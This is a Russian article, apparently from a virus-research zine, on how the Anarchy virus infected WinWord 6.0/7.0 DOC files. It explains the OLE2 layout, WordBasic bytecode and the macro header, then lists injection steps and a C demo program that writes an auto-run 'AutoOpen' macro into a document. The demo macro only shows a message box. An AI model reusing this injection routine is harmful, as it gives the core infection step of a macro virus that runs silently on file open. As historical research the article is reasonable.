ПО СЛЕДАМ ВИРУСА ANARCHY by Constantin E. Climentieff aka DrMad ВВЕДЕНИЕ 1. УСТРОЙСТВО DOC-ФАЙЛОВ WINWORD 6.0/7.0 2. КОДИРОВКА МАКРОСОВ 3. ФОРМИРОВАНИЕ МАКРОЗАГОЛОВКА 4. АЛГОРИТМ ВНЕДРЕНИЯ МАКРОСА ЛИТЕРАТУРА ПРИЛОЖЕНИЕ. Текст демонстрационной программы ...информации, приведенной в статье, заведомо мало для написания вирусов; это сделано специально... ВВЕДЕНИЕ До сих пор многоплатформенный вирус Anarchy.6093 от Jan Fakovski остается в какой-то мере непревзайденным. Насколько известно, никакой другой вирус не способен самостоятельно разбирать структуру DOC-файла и внедрять в него исполнимые макросы. Примечание. Существуют еще пара однотипных вирусов Win95.Navrhar и Win95.WoGob (WG), которые умеют делать то же самое. Пожалуй, это и все. Для тех, кто не в курсе, вот фрагмент описания вируса Anarchy от И.Данилова: : Опасные резидентные полиморфные стелс-вирусы. Вирусы : заражают COM, EXE файлы, а также DOC-файлы для WinWord : версий 6.0-7.0. При открытии DOCфайлов... вирус анализирует : внутренний формат OLE2 документа, создает новую таблицу : макросов и дописывает в конец данного документа : зашифрованный макрос AUTOOPEN, содержащий вирусный код : дроппера... При заражении DOC-файла вирус использует : некоторые "дыры" в формате OLE2, в результате чего при : активном вирусном макросе AUTOOPEN просмотреть его наличие : в системе средствами WinWord [TOOLS/ MACRO] не : предоставляется возможным. Вирус содержит некоторые ошибки : в процедуре заражения OLE2 DOC-файлов. В результате чего : некоторые файлы небольшие DOC-файлы могут быть разрушены : при заражении, а также будут разрушены все DOC-файлы для : MSOffice'97. Данный вирус является первым известным : многоплатформенным вирусом, который заражает файлы таких : различных операционных сред, как DOS, Windows и MS Word for : Windows... Этот вирус есть у меня в коллекции, но я не "вскрывал" его. Гораздо интересней пойти по следам Jan Fakovski и попытаться самостоятельно разработать алгоритм заражения DOC-файлов. Несколько лет назад мне приходилось разбираться с внутренним форматом DOC-файлов для WinWord 6.0/7.0. Мне кажется, что я понял, как могли бы быть устроены подобные вирусы. Теперь, когда доминируют версии 97/2000, можно уже и раскрыть "стрррррашную тайну". 1. УСТРОЙСТВО DOC-ФАЙЛОВ WINWORD 6.0/7.0 Файлы с расширением .DOC и "документы MsWord" - это не одно и то же. Файлы представляют собой сложные OLE-2 объекты, организованные по правилам Структурированных Хранилищ (Structured Storage). Документы Word, электронные таблицы Excel и прочие объекты лишь хранятся внутри сложно организованных Хранилищ. Формат Структурированных Хранилищ официально не документирован, но доступны его хакерские реконструкции, весьма похожие на правду (хотя и содержащие множество неясных моментов, неточностей и ошибок) /2/. По крайней мере, понятно, что Структурированное Хранилище очень напоминает файловую систему типа FAT, только организованную не на диске, а внутри отдельно взятого файла: там имеются блоки-кластеры, таблицы описания блоков, катологи-директории (корневая и вложенные) и пр. В формате Структурированного Хранилища организованы файлы всех современных версий MS Office: и 6.0/7.0, и 97/2000. Но, похоже, Winword 6.0/7.0 использует упрощенный формат Хранилища, что позволяет разобраться в нем "малой кровью" /1/. По крайней мере, мне удавалось очень легко находить внутри DOC-файла собственно Word-документ, разбирать его структуру, обнаруживать внедренные макровирусы, расшифровывать их и удалять /3,4/. Главные отличительные особенности DOC-файлов и документов в формате Winword 6.0/7.0: - макросы пишутся на языке WordBasic (для версий 97/2000 - на VBA, зато они понимают и WordBasic); - макросы являются составной частью документа (для версий 97/2000 они - отдельные объекты, находящиеся где-то внутри Хранилища, но вне документа). 2. КОДИРОВКА МАКРОСОВ Очень легко определить, как кодируются внутри макросоов синтаксические элементы языка WodrBasic. Напишите и внедрите внутрь документа WinWord 6.0/7.0 любой достаточно длинный макрос (например, состоящий из одних комментариев). Затем при помощи любого редактора кода (например, при помощи Hiew), найдите внутри файла строки Sub MAIN и End Sub, и все пространство между ними забейте 16-ричными кодами: 01, 02, 03, 04 и т.п. Примечание. Коды, начинающиеся с 80h, являются двухбайтовыми. Поэтому Вам потребуется отдельно сформировать группу кодов вида: 00 80 01 80 02 80... Есть и еще варианты кодировки, но, если Вы не собираетесь писать свой собственный "дизассемблер" для WordBasic-а, Вам должно хватить сведений об однобайтовых кодах и двухбайтовых типа 80XXh. Загрузите этот документ в Word (кстати, в любой, можно даже в 97/2000) и Вы увидите перечень соответствующих кодам синтаксических элементов языка. Вот краткие выжимки из этого перечня. А. Некоторые ключевые слова языка Б. Некоторые лексемы ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~ 01 , 1b Sub 31 Select 44 Long 64 Перевод строки 02 Not 1c Function 32 Is 45 Single 65 \nstring 03 And 1d If 33 Case 46 String 67 Команда WordBasic 04 Or 1e Then 34 As 47 Cdecl 68 Число двойной точности 05 ( 1f ElseIf 35 Redim 48 Alias 69 Строка 06 ) 20 Else 36 Print 49 Any 6a "Строка в кавычках" 07 + 21 While 37 Input 4c Close 6b 'Строка комментрия 08 - 22 Wend 38 Line 4d Begin 6c Целое число 09 / 23 For 39 Write 4e Lib 6d Символ 0a * 24 To 3a Name 4f Read 6e N пробелов 0b Mod 25 Step 3b Output 54 EndIf 6f N табуляций 0c = 26 Next 3c Append 70 REM Строка комментария 0d <> 28 ; 3d Open 73 Dotted token (+ 2 bytes) 0e < 29 Call 3f Dialog 76 .Ключевое подполе команды 0f > 2a Goto 40 Super 10 <= 2c On 41 Declare В. Некоторые команды 11 >= 2d Error 42 Double ~~~~~~~~~~~~~~~~~~~~ 18 Resume 2e Let 43 Integer 802b MsgBox 19 : 2f Dim 44 Long 80b7 MacroCopy 1a End 30 Shared Попробуем закодировать следующий макрос: Sub MAIN MsgBox "Hello!", "", 16 End Sub Вот, что у нас должно получиться: 0001 <Номер макроса> 64 <Новая строка> 1B Sub 69 <Строка без кавычек> 04 <Длина строки без кавычек> = 4 4D M 41 A 49 I 4E N 64 <Новая строка> 67 <Команда> 802B MsgBox 6A <Строка в кавычках> 06 <Длина строки в кавычках> = 6 48 H 65 e 6C l 6C l 6F o 21 ! 12 , 6A <Строка в кавычках> 00 <Длина строки в кавычках> = 0 12 , 6C <Целая константа> 0010 <Значение целой константы> = 16 64 <Новая строка> 1A End 1B Sub 3. ФОРМИРОВАНИЕ МАКРОЗАГОЛОВКА Формат макрозаголовка описан в /1,3/, поэтому не будем его воспроизводить. Заполненный макрозаголовок выглядит следующим образом: SignFF db 0FFh ; Сигнатура заголовка ; Заголовок макросов MHdr db 1 ; Признак заголовка макросов NMcr dw 1 ; Количество макросов ; Описатель 1-го (и единственного) макроса Vers db 055h ; Версия языка Key db 0 ; Ключ XOR IntN dw 0 ExtN dw 0 XN dw 0FFFFh dd ? MLen dd ? ; Длина макроса (вписать!!!) MStat dd 5 ; Статус макроса MPtr dd ? ; Позиция макроса (вписать!!!) ; Внешнее имя EHdr db 10h ; Признак внешнего имени ESiz dw 0Dh ; Размер описания имени ??? ELen db offset NRef-offset EName ; Длина EName db 'AutoOpen' NREf dw 1 ; Кол-во ссылок на него ; Внутреннее имя IHdr db 11h ; Признак внутреннего имени INum dw 1 ; Кол-во имен ICnt dw 0 ; Номер имени ILen db offset R-offset IName ; Длина IName db 'AUTOOPEN' R db ? ; EndHdr db 40h ; Конец заголовка 4. АЛГОРИТМ ВНЕДРЕНИЯ МАКРОСА Шаг 0. Выполнть необходимые проверки и убедиться, что это файл в формате WinWord 6.0/7.0, а не 97/2000. Шаг 1. Внутри DOC-файла содержится собственно Word-документ, начинающийся с характерной сигнатуры. Эту сигнатуру легко найти в файле по смещению, кратному 512 байт (т.к. крупные объекты в хранилищах хранятся в Big Blocks /2/). Могут встретиься в файле такие же сигнатуры, лежащие по смещению, не кратному 200h - это "левые" заголовки. Шаг 2. Word-документ начинается с заголовка, в котором: - по смещению 0Ah располагается слово флагов, младший бит его - признак template; - по смещению 118h располагается адрес (смещение от начала документа) макрозаголовка. - правильный макрозаголовок начинается с сигнатуры 1FFh. Если файл уже template, или макрозаголовок заполнен, то, вероятно, в документе уже есть макросы, и трогать его не стоит. Шаг 3. Если адрес макрозаголовка указывает "в пустоту", то макрозаголовок не заполнен или отсутствует. Макрозаголовок должен начинаться в файле с адреса, кратного 512=200h. Выровняем файл до этой длины и запишем сразу него правильно заполненный макрозаголовок. Шаг 4. Собственно код макроса должен располагаться где-то после макрозаголовка, и начинаться со смещения, кратного 16. Поэтому выровняем новую длину файла на 16 и запишем в конец файла сразу после макрозаголовка код макроса. Шаг 5. В заголовке Word-документа по адресу 0Ah выставим флаг template. По адресу 118h впишем адрес (смещение от начала документа) нового макрозаголовка. Внутри нового макрозаголовка впишем адрес (смещение от начала документа) кода макроса. Все. "И десять пар вязальных спиц." J ЗАКЛЮЧЕНИЕ Я не решился бы публиковать этот алгоритм, если бы не существовало одного нюанса. Дело в том, что если "зараженный" таким образом файл загрузить в Winword 6.0/7.0, то макрос нормально воспримется и выполнится. Но если его загрузить, например, в WinWord 97, то ничего не произойдет (хотя он должен был бы подхватиться, конвертироваться в VBA и выполниться). По-видимому, дыра "заштопана", и WinWord 97 разбирает свое Структурированное Хранилище по всем правилам (которые сами мелкомягкие и придумали, но для WinWord 6.0/7.0 не выполняли). Таким образом, для применения внутри вирусов этот алгоритм нынче не слишком актуален. Хотя и крайне интересен сам по себе. Поэтому - читайте и юзайте. ЛИТЕРАТУРА 1. Schvartz M. ELSER. Word convertress, 1997. 2. Schvartz M. LAOLA file system, 1997. (Перевод: Шварц М. Файловая система Laola // Земский фершал, - #4.- 2001 г.) 3. DrMad. Немножко криптологии // Земский фершал.- #2.- 1998 г. 4. DrMad. Написание антивируса для WM.Cap // Земский фершал.- #3.- 1999 г. ПРИЛОЖЕНИЕ. Текст демонстрационной программы. /********************************************************************/ /* Демонстрация внедрения исполнимых макросов в файлы WinWord 6/7 */ /* (c) Constantin E. Climentieff aka DrMad, Samara 1998-2001 */ /********************************************************************/ #include <stdio.h> #include <string.h> #include <fcntl.h> #include <io.h> #define WORD unsigned int #define BYTE unsigned char #define DWORD unsigned long struct DOCHdr // Заголовок документа { DWORD Sign; // Сигнатура документа DWORD Vers; // Версия MsWord BYTE R1[8]; // ? WORD Flags; // Тип Docfile BYTE R2[0x106];// ? DWORD AMacr; // Адрес заголовка макросов }; struct MACHdr // Заголовок макросов { WORD Sign; // Сигнатура заголовка макросов WORD NMacr; // Количество макросов }; #define LEN 97 BYTE CODE[LEN]={ 0xFF, 0x01, 0x01, 0x00, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x0D, 0x00, 0x08, 0x41, 0x75, 0x74, 0x6F, 0x4F, 0x70, 0x65, 0x6E, 0x01, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x08, 0x41, 0x55, 0x54, 0x4F, 0x4F, 0x50, 0x45, 0x4E, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x1B, 0x69, 0x04, 0x4D, 0x41, 0x49, 0x4E, 0x64, 0x67, 0x2B, 0x80, 0x6A, 0x06, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x21, 0x12, 0x6A, 0x00, 0x12, 0x6C, 0x10, 0x00, 0x64, 0x1A, 0x1B, 0x00 }; struct DOCHdr dh; // Заголовок docfile struct MACHdr mh; // Заголовок макросов (начало) DWORD buf[128]; // Big Block DWORD p; // Позиция документа в файле DWORD l; // Длина файла int i; int f; int q; char s[32]; main( int an, char **as ) { if (an<2) { puts("Демострация внедрения макросов в Docfile"); puts("(c) Constantin E. Climentieff aka DrMad, Samara 2001"); puts("----------------------------------------------------"); printf("File >"); scanf("%s",s); } else strcpy(s, as[1]); f = open(s, O_RDWR|O_BINARY); l = lseek( f, 0, SEEK_END); // Длина файла lseek( f, 0, SEEK_SET); q=read(f, buf, 512); if (buf[0]!=0xE011CFD0) { puts("Это не docfile!"); goto ex; } p = 0; i=0; while (q==512) { if ((buf[0]==0x65A5DC)|| // Ищем сигнатуру заголовка (buf[0]==0x68A5DC)|| (buf[0]==0x68A697)|| (buf[0]==0x68A699)|| (buf[0]==0xC1A5EC)) p = (DWORD)i*512; q = read( f, buf, 512); i++; } if (!p) { puts("Это не docfile 6.0!"); goto ex; } lseek( f, p, SEEK_SET ); read ( f, &dh, sizeof(dh) ); // Читаем заголовок docfile lseek( f, dh.AMacr+p, SEEK_SET ); read ( f, &mh, sizeof(mh) ); // Читаем заголовок макросов if (((mh.Sign==0x1FF)&&(mh.NMacr>0))||(dh.Flags==1)) { puts("В файле уже есть макросы!"); goto ex; } l = (l%512)?((l/512)+1)*512:l; // Выравниваем на границу 512-байтника * (DWORD *)(&CODE[0x18]) = l-p+0x40; // Смещение кода макроса lseek( f, l, SEEK_SET); write( f, CODE, LEN ); // Пишем сразу макрозаголовок + код dh.AMacr = l - p; // Смещение заголовка макроса dh.Flags = 1; lseek( f, p, SEEK_SET); write( f, &dh, sizeof(dh)); puts("Well done!"); ex: close(f); } -------------------------------------------------------------- (с) Constantin E. Сlimentieff, 2000-2001 mailto: drmad@chat.ru * http://www.chat.ru/~drmad |